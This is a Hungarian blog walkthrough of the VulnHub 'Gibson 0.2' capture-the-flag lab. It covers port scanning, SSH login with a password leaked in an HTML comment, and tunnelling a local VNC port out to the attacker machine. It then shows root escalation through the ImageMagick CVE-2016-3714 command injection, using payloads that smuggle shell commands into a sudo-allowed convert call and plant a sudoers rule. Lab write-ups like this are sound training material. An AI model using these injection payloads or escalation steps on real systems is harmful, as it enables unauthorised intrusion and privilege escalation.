A régi szép időkből néha nosztalgikus hangulatban emlékszem a hajnalig tartó FPS game partikra, ahol az egyik kedvenc móka a CTF (Capture The Flag), vagyis a szerezd meg a zászlót típusú játékok voltak. Mára már a CTF mást jelent számomra. Az IT-s biztonság technika talán egyik legérdekesebb ága az Ethical Hacking. Ezen területen tevékenykedő kreatív emberek, rendszeresen kihívások elé állítják egymást és létre hoznak virtuális szervereket, amiket aztán a többieknek root-ra kell törni, a rajtuk futó szolgáltatások sebezhetőségét és saját találékonyságukat felhasználva és megszerezni a rendszeren elrejtett egy vagy több flag-et (zászlót). Az ilyen “cél” rendszerek egyik legnagyobb gyűjtőhelye a VulnHub. Mindig nagyon várom, hogy fel kerüljön egy új, törésre váró virtuális szerver. Hát tegnap felkerült a Gibson 0.2, knightmare jóvoltából, köszönet érte…

Információ gyűjtés

Lássuk milyen IP címet kapott a DHCP-től.

# netdiscover -i eth0 -r 192.168.10.0/24
Currently scanning: 192.168.10.0/24   |   Screen View: Unique Hosts              
                                                                                  
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 126                  
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.10.1    fe:54:00:0e:a4:ce      1      42  Unknown vendor                 
 192.168.10.222  52:54:00:c4:a4:12      1      42  Unknown vendor                 
 192.168.10.254  52:54:00:0e:a4:ce      1      42  Unknown vendor

Szóval az IP cím 192.168.10.222. Most lássuk a nyitott portokat és a futó szolgáltatásokat.

# nmap -sS -sV 192.168.10.222 -p1-65535

Starting Nmap 7.12 ( https://nmap.org ) at 2016-05-16 15:58 CEST
Nmap scan report for 192.168.10.222 (192.168.10.222)
Host is up (0.0015s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.7
MAC Address: 52:54:00:C4:A4:12 (QEMU virtual NIC)
Service Info: Host: gibson.example.co.uk; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.88 seconds

Van egy ssh a 22-es és egy Apache webszerver a 80-as porton. Mielőtt ránéznék böngészővel, elindítom a háttérben a nikto-t.

# nikto -host http://192.168.10.222
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.10.222
+ Target Hostname:    192.168.10.222
+ Target Port:        80
+ Start Time:         2016-05-15 20:38:53 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OSVDB-3268: /: Directory indexing found.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD 
+ OSVDB-3268: /./: Directory indexing found.
+ OSVDB-3268: /?mod=node&nid=some_thing&op=view: Directory indexing found.
+ OSVDB-3268: /?mod=some_thing&op=browse: Directory indexing found.
+ /./: Appending '/./' to a directory allows indexing
+ OSVDB-3268: //: Directory indexing found.
...
...
+ 7535 requests: 0 error(s) and 46 item(s) reported on remote host
+ End Time:           2016-05-15 20:39:03 (GMT2) (10 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

A Directory indexing-en kívül semmi érdekes, lássuk böngészőből.

gibson_br1

Egyetlen html fájl, de azért átnézem a forrást is (CTRL+U).

<head>
  <title>Index of /</title>
 </head>
 <body>
<h1>Index of /</h1>
  <table>
   <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
   <tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="davinci.html">davinci.html</a></td><td align="right">2016-05-07 13:03  </td><td align="right">273 </td><td>&nbsp;</td></tr>
   <tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.7 (Ubuntu) Server at 192.168.10.222 Port 80</address>
</body></html>

Ezt is vártam :) Lássuk a davinci.html tartalmát először böngészőből.

gibson_br2

… és most a forrást (CTRL+U)

<html>
<title>Gibson Mining Corporation</title>
<body>
<!-- Damn it Margo! Stop setting your password to "god" -->
<!-- at least try and use a different one of the 4 most -->
<!-- common ones! (eugene) -->
<h1> The answer you seek will be found by brute force</h1>
</body>

Ez már érdekesebb, főleg a Margo és a god :)

Szerezd meg a zászlót! 1. variáció

Próbáljunk belépni ssh-n margo felhasználóval és god jelszóval…

# ssh margo@192.168.10.222
The authenticity of host '192.168.10.222 (192.168.10.222)' can't be established.
ECDSA key fingerprint is SHA256:HFJkCohFeemJfEtUbrfcJdTBrirs7dQbPWF5ienVNhU.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.10.222' (ECDSA) to the list of known hosts.
Ubuntu 14.04.3 LTS
margo@192.168.10.222's password: 
Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 3.19.0-25-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

  System information as of Sun May 15 19:29:13 BST 2016

  System load: 0.08              Memory usage: 5%   Processes:       93
  Usage of /:  82.2% of 1.85GB   Swap usage:   0%   Users logged in: 0

  => There is 1 zombie process.

  Graph this data and manage this system at:
    https://landscape.canonical.com/

#margo@gibson:~$ id
uid=1002(margo) gid=1002(margo) groups=1002(margo),27(sudo)

Hát ez sikerült :) Nézzük meg ki lakik még a rendszerben.

#margo@gibson:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
libvirt-qemu:x:106:106:Libvirt Qemu,,,:/var/lib/libvirt:/bin/false
libvirt-dnsmasq:x:107:111:Libvirt Dnsmasq,,,:/var/lib/libvirt/dnsmasq:/bin/false
duke:x:1000:1000:Duke Ellingson,,,:/home/duke:/bin/bash
colord:x:108:115:colord colour management daemon,,,:/var/lib/colord:/bin/false
eugene:x:1001:1001:Eugene Belford:/home/eugene:
margo:x:1002:1002:Margo Wallace:/home/margo:/bin/bash

Vagyis margo-n kívül van egy duke és egy eugene felhasználó. Ami még érdekes, az a libvirt-qemu. Szóval van kvm-qemu alapú virtualizáció is. Most lássuk a csoportokat.

#margo@gibson:~$ cat /etc/group
root:x:0:
...
sudo:x:27:margo,eugene
...
libvirtd:x:111:eugene
...
eugene:x:1001:eugene
margo:x:1002:
ssl-cert:x:116:

Láthatjuk, hogy a sudo csoportba csak margo és eugene tartozik, valamint eugene a libvirtd-be is. Látogassuk meg a home mappájukat és nézzünk körül.

#margo@gibson:~$ cd ..

#margo@gibson:/home$ ls -la
total 20
drwxr-xr-x  5 root   root   4096 May  5 18:49 .
drwxr-xr-x 22 root   root   4096 May  7 13:28 ..
drwxr-xr-x  7 duke   duke   4096 May  7 12:17 duke
drwxr-xr-x  6 eugene eugene 4096 May 14 14:31 eugene
drwxr-xr-x  7 margo  margo  4096 May 15 20:08 margo

#margo@gibson:/home$ cd duke

#margo@gibson:/home/duke$ ls -la
total 44
drwxr-xr-x 7 duke duke 4096 May  7 12:17 .
drwxr-xr-x 5 root root 4096 May  5 18:49 ..
-rw-r--r-- 1 duke duke  220 Apr 30 17:51 .bash_logout
-rw-r--r-- 1 duke duke 3637 Apr 30 17:51 .bashrc
drwx------ 2 duke duke 4096 Apr 30 16:56 .cache
drwx------ 3 duke duke 4096 May  4 20:03 .config
drwx------ 3 duke duke 4096 May  4 20:00 .dbus
drwx------ 3 duke duke 4096 May  4 20:01 .gconf
-rw-r--r-- 1 duke duke  675 Apr 30 17:51 .profile
-rw------- 1 root root  708 May  4 19:53 .viminfo
drwxr-x--x 2 duke duke 4096 May  4 20:00 .virt-manager

#margo@gibson:/home/duke$ cd ..

#margo@gibson:/home$ cd eugene/

#margo@gibson:/home/eugene$ ls -la
total 56
drwxr-xr-x 6 eugene eugene 4096 May 14 14:31 .
drwxr-xr-x 5 root   root   4096 May  5 18:49 ..
-rw-r--r-- 1 eugene eugene  220 Apr  9  2014 .bash_logout
-rw-r--r-- 1 eugene eugene 3637 Apr  9  2014 .bashrc
drwx------ 2 eugene eugene 4096 May  5 19:10 .cache
drwx------ 3 eugene eugene 4096 May  5 20:12 .dbus
drwx------ 3 eugene eugene 4096 May 14 14:22 .gconf
-rw-r--r-- 1 eugene eugene  675 Apr  9  2014 .profile
-rwxrwxr-x 1 eugene eugene 8589 May  5 19:10 spin64
-rw------- 1 root   root   4737 May 14 14:24 .viminfo
drwxr-x--x 2 eugene eugene 4096 May  5 20:12 .virt-manager

eugene mappájában találtam egy spin64 futtatható binárist. Talán még majd foglalkozok vele.

Nézzünk rá a hálózatra, ellenőrizzük a nyitott portokat, hátha valami elkerülte az nmap figyelmét.

#margo@gibson:/home/eugene$ netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 192.168.122.1:53        0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:6010          0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:5900          0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -               
tcp6       0      0 ::1:6010                :::*                    LISTEN      -               
tcp6       0      0 :::80                   :::*                    LISTEN      -               
udp        0      0 192.168.122.1:53        0.0.0.0:*                           -               
udp        0      0 0.0.0.0:67              0.0.0.0:*                           -               
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -               
udp        0      0 0.0.0.0:24299           0.0.0.0:*                           -               
udp6       0      0 :::52976                :::*                                -

Érdekes a 5900-as port ami egy VNC és ezt nem láthatta az nmap mert csak localhost-on figyel. Fussuk át az ssh beállításokat, csak a rend kedvéért.

#margo@gibson:~$ cat /etc/ssh/sshd_config | egrep -v ^$ | egrep -v ^#.*
Port 22
Protocol 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key
HostKey /etc/ssh/ssh_host_ed25519_key
UsePrivilegeSeparation yes
KeyRegenerationInterval 3600
ServerKeyBits 1024
SyslogFacility AUTH
LogLevel INFO
LoginGraceTime 120
StrictModes yes
RSAAuthentication yes
PubkeyAuthentication yes
IgnoreRhosts yes
RhostsRSAAuthentication no
HostbasedAuthentication no
PermitEmptyPasswords no
ChallengeResponseAuthentication no
PasswordAuthentication no
X11Forwarding yes
X11DisplayOffset 10
PrintMotd yes
PrintLastLog yes
TCPKeepAlive yes
Banner /etc/issue.net
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
UsePAM yes
PermitRootLogin no
AllowUsers eugene margo
Match user margo
PasswordAuthentication yes

Érdekesség, hogy az X11Forwarding engedélyezve van. Talán szükség lesz majd rá :) Nézzük meg a 5900-as portot közelebbről.

#margo@gibson:~$ telnet localhost 5900
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
RFB 003.008
Connection closed by foreign host.

RFB 003.008 tehát ez valóban egy nyitott VNC. Akkor próbáljuk meg kitunelezni a portot ssh-n keresztül a támadó gépre ami a 192.168.10.72 IP címen van.

#margo@gibson:~$ ssh -f root@192.168.10.72 -R 7777:localhost:5900 -N

Ha minden jó, márpedig úgy néz ki :) akkor a támadó gépről (192.168.10.72) mondjuk remmina segítségével a localhost:7777-re kapcsolódva bent is vagyunk a VNC-n.

freedos0

… és

freedos1

Úgy is lett. Egy szuper kis FreeDos 1.1 virtuális gép. Járjuk körbe, hátha találunk valamit.

freedos2

A főgyökérben levő GARBAGE mappán kívül semmi érdekes.

freedos3

Húzzuk csak át netcat segítségével a virtualhost-ra, majd onnan tovább a támadó gépre a fájlokat.

#margo@gibson:~$ nc -l 4444 > ADMINSP.JPG

freedos4

… az egyiket

#margo@gibson:~$ nc -l 4444 > FLAG.IMG

freedos5

… a másikat

#margo@gibson:~$ nc -l 4444 > JY_UG.ANS

freedos6

… és a harmadikat is. Csomag vesztés miatt nem lettek teljesek a fájlok, de most ezzel nem futok fölös köröket, mert a második variációban majd leszedem máshogy is a fájlokat :)

És innen tovább a támadó gépre, ahol majd tovább elemezzük.

#margo@gibson:~$ ls -l
total 164
-rw-rw-r-- 1 margo margo 73185 May 16 00:29 ADMINSP.JPG
-rw-rw-r-- 1 margo margo 87902 May 16 00:30 FLAG.IMG
-rw-rw-r-- 1 margo margo  1577 May 16 00:32 JY_UG.ANS

#root@kali:~# scp margo@192.168.10.222:/home/margo/ADMINSP.JPG .
Ubuntu 14.04.3 LTS
margo@192.168.10.222 password: 
ADMINSP.JPG                                      100%   71KB  71.5KB/s   00:00    

#root@kali:~# scp margo@192.168.10.222:/home/margo/FLAG.IMG .
Ubuntu 14.04.3 LTS
margo@192.168.10.222 password: 
FLAG.IMG                                         100%   86KB  85.8KB/s   00:00    

#root@kali:~# scp margo@192.168.10.222:/home/margo/JY_UG.ANS .
Ubuntu 14.04.3 LTS
margo@192.168.10.222 password: 
JY_UG.ANS                                        100% 1577     1.5KB/s   00:00

De lássuk hogyan lehet ezt másképp csinálni :)

Szerezd meg a zászlót! 2. variáció

Az ssh-n keresztüli sikeres belépés után, kiderült, hogy margo a sudo csoport tagja. Lássuk mit tehet root jogosultsággal.

#margo@gibson:~$ sudo -l
Matching Defaults entries for margo on gibson:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User margo may run the following commands on gibson:
    (ALL) NOPASSWD: /usr/bin/convert

Szóval root jelszó nélkül futtathatja a /usr/bin/convert programot. De mi is ez a program?

#margo@gibson:~$ /usr/bin/convert -version
Version: ImageMagick 6.7.7-10 2014-03-06 Q16 http://www.imagemagick.org
Copyright: Copyright (C) 1999-2012 ImageMagick Studio LLC
Features: OpenMP

Érdekes. Az ImageMagick verziószáma alapján, több sebből vérzik link: https://www.exploit-db.com/exploits/39767/. Vagyis a /usr/bin/convert programmal lehet fájl műveleteket végrehajtani root jogosultsági szinten. Lássuk akkor a /etc/sudoers fájlt.

#margo@gibson:~$ sudo convert 'https://example.com"|cat "/etc/sudoers' out.png
[sudo] password for margo: 
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults	env_reset
Defaults	mail_badpass
Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root	ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
## disabled after Margo's security incident
##%sudo	ALL=(ALL:ALL) ALL

# Allow Margo to convert pictures from the FTP server
margo ALL=(ALL) NOPASSWD: /usr/bin/convert
# Allow eugene to manage virtual machines and visudo
eugene ALL=(ALL) NOPASSWD: /usr/bin/virt-manager 
eugene ALL=(ALL:ALL)  /usr/sbin/visudo 

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d

Úgy gondolom a /etc/sudoers.d mappába elhelyezett kiegészítő szabály elég lesz :) Készítsük elő a jogosultságszint emelést.

#margo@gibson:~$ echo "%sudo ALL=(ALL:ALL) ALL" > exploit

#margo@gibson:~$ cat exploit 
%sudo ALL=(ALL:ALL) ALL

Most az elkészült fájlt tegyük az /etc/sudoers.d/ mappába.

#margo@gibson:~$ sudo convert 'https://example.com"|cp exploit "/etc/sudoers.d/' out.png

#margo@gibson:~$ sudo convert 'https://example.com"|ls "/etc/sudoers.d' out.png[sudo] password for margo: 
exploit  README

És akkor lássuk, most hogy néz ki a jogosultságunk.

#margo@gibson:~$ sudo -l
Matching Defaults entries for margo on gibson:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User margo may run the following commands on gibson:
    (ALL) NOPASSWD: /usr/bin/convert
    (ALL : ALL) ALL

Jónak tűnik… … és legyünk root !!!

#margo@gibson:~$ sudo su -

#root@gibson:~# id && uname -a
uid=0(root) gid=0(root) groups=0(root)
Linux gibson 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

Nézzünk szét a root háza táján :)

#root@gibson:~# cd

#root@gibson:~# ls -la
total 20
drwx------  3 root root 4096 May  5 20:09 .
drwxr-xr-x 22 root root 4096 May 16 11:51 ..
-rw-r--r--  1 root root 3106 Feb 20  2014 .bashrc
-rw-r--r--  1 root root  140 Feb 20  2014 .profile
drwxr-xr-x  2 root root 4096 May 14 14:01 .trash

#root@gibson:~# cd .trash/

#root@gibson:~/.trash# ls -la
total 8
drwxr-xr-x 2 root root 4096 May 14 14:01 .
drwx------ 3 root root 4096 May  5 20:09 ..

Semmi érdekes. Vizsgáljuk meg a virtuális gépet.

#root@gibson:~# virsh list --all
 Id    Name                           State
----------------------------------------------------
 2     ftpserv                        running

#root@gibson:~# cat /etc/libvirt/qemu/ftpserv.xml 
<!--
WARNING: THIS IS AN AUTO-GENERATED FILE. CHANGES TO IT ARE LIKELY TO BE
OVERWRITTEN AND LOST. Changes to this xml configuration should be made using:
  virsh edit ftpserv
or other application using the libvirt API.
-->

<domain type='qemu'>
  <name>ftpserv</name>
  <uuid>ebcdaa6c-b10a-d758-c13a-0fb296b011f1</uuid>
  <memory unit='KiB'>262144</memory>
  <currentMemory unit='KiB'>262144</currentMemory>
  <vcpu placement='static'>1</vcpu>
...
      <source file='/var/lib/libvirt/images/ftpserv.img'/>
...
    </memballoon>
  </devices>
</domain>

Meg is van a gép virtuális meghajtója. Nézzük meg a fájlrendszerét.

#root@gibson:~/.trash# fdisk -l /var/lib/libvirt/images/ftpserv.img 
Disk /var/lib/libvirt/images/ftpserv.img: 536 MB, 536870912 bytes
16 heads, 63 sectors/track, 1040 cylinders, total 1048576 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000

                              Device Boot      Start         End      Blocks   Id  System
/var/lib/libvirt/images/ftpserv.img1   *          63     1048319      524128+   e  W95 FAT16 (LBA)

Állítsuk le a virtuális gépet és csatoljuk fel a fájlrendszerét, hogy rendesen leszedhessük a GARBAGE mappa fájljait.

#root@gibson:~/.trash# virsh shutdown ftpserv
Domain ftpserv is being shutdown

#root@gibson:/# losetup /dev/loop0 /var/lib/libvirt/images/ftpserv.img -o $((63 * 512))

#root@gibson:/# mount -t vfat /dev/loop0 /mnt

#root@gibson:/# cd /mnt

#root@gibson:/mnt# ls
AUTOEXEC.BAT  BOOTSECT.BIN  COMMAND.COM  DOS  FDCONFIG.SYS  GARBAGE  KERNEL.SYS  net

#root@gibson:/mnt# cd GARBAGE/

#root@gibson:/mnt/GARBAGE# ls -la
total 880
drwxr-xr-x 2 root root   8192 May  4 21:03 .
drwxr-xr-x 5 root root  16384 Jan  1  1970 ..
-rwxr-xr-x 1 root root 123141 May  4 21:17 adminspo.jpg
-rwxr-xr-x 1 root root 737280 May 14 13:19 flag.img
-rwxr-xr-x 1 root root   1601 Jun 11  2002 jz_ug.ans

Szóval így vagy úgy, de a fájlok megvannak :)

Vizsgáljuk meg a zsákmányt!

Miután átvittük a fájlokat a támadógépre, ott folytatjuk a vizsgálódást. Lássuk először az adminspo.jpg fájlt.

adminspo

Most lássuk az EXIF adatokat.

#root@kali:~/Hack/Vulnhub_-_Gibson_0.2# exif -m adminspo.jpg 
Image Description	Rabbit.. Flu Shot... TYPE COOKE YOU IDIOT! I'll head them off at the pass
Date and Time	2016:05:04 22:29:32
Artist	Virtualization is fun.. What's more, esoteric OSes on 192.168.122 are even more fun
X-Resolution	72
Y-Resolution	72
Resolution Unit	Inch
User Comment	So there's info here.... Images, hmm... Wasn't that a CVE...? Oh yes... CVE 2016-3714

http://www.openwall.com/lists/oss-security/2016/05/03/18 so which person can run it. Perhaps the man who knew a lot about Sean Connery in Trainspotting when he wasn't  causing a 7 point drop in the NYSE
Exif Version	Exif Version 2.1
FlashPixVersion	FlashPix Version 1.0
Color Space	Internal error (unknown value 65535)

Hehe… utalások, utalások… A CVE 2016-3714 volt az ImageMagick sebezhetősége :) Most nézzük meg közelebbről a flag.img-t.

#root@gibson:~# file flag.img 
flag.img: Linux rev 1.0 ext2 filesystem data (mounted or unclean), UUID=d59bdd40-ec37-4d24-a956-80f549846121

#root@gibson:~# fdisk -l flag.img
Disk flag.img: 720 KiB, 737280 bytes, 1440 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

#root@gibson:~# mkdir flag

#root@gibson:~# mount -t ext2 /mnt/GARBAGE/flag.img flag

#root@gibson:~# cd flag/

#root@gibson:~/flag# ll
total 70
drwxr-xr-x 4 root root  1024 May 14 14:07 ./
drwx------ 4 root root  4096 May 16 12:37 ../
-rwxrwxr-x 1 root root 21358 Nov 16  2011 davinci*
-rw-r--r-- 1 root root 28030 Nov 16  2011 davinci.c
-rw-r--r-- 1 root root   159 May  5 19:56 hint.txt
drwx------ 2 root root 12288 May  5 19:39 lost+found/
drwxr-xr-x 2 root root  1024 May  5 20:07 .trash/

Érdekes, lássuk a hint.txt-t, majd nézzünk bele a .trash mappába is.

#root@gibson:~/flag# cat hint.txt 
http://www.imdb.com/title/tt0117951/ and
http://www.imdb.com/title/tt0113243/ have
someone in common... Can you remember his
original nom de plume in 1988...?

#root@gibson:~/flag# cd .trash/

#root@gibson:~/flag/.trash# ls -la
total 319
drwxr-xr-x 2 root root   1024 May  5 20:07 .
drwxr-xr-x 4 root root   1024 May 14 14:07 ..
---x------ 1 root root    469 May 14 14:18 flag.txt.gpg
-rw-r--r-- 1 root root 320130 Sep  7  2015 LeithCentralStation.jpg

Van még itt egy gpg titkosított fájl és ismét egy jpg. Vizsgáljuk meg először a képet.

leithcs

Majd jöjjön az EXIF adata.

#root@kali:~# exif -m LeithCentralStation.jpg
X-Resolution	72
Y-Resolution	72
Resolution Unit	Inch
Exif Version	Exif Version 2.1
FlashPixVersion	FlashPix Version 1.0
Color Space	Internal error (unknown value 65535)

Visszatérő utalások a Trainspotting-ra és az 1988-as és 1995-ös Hackers-re. Már csak a gpg titkosított fájl van, de ez további vizsgálatot kíván…

#root@gibson:~# gpg --output txt --decrypt flag.txt.gpg 
gpg: CAST5 encrypted data
gpg: gpg-agent is not available in this session
gpg: encrypted with 1 passphrase
gpg: decryption failed: bad key

Lehet hogy az utalásokból ki lehetett volna találnom a passphrase-t, de majd talán nekifutok egyszer :)

Ismét köszönöm knightmare ezt a nagyszerű kihívást!!! Thanks [knightmare] !!! Remekül szórakoztam :)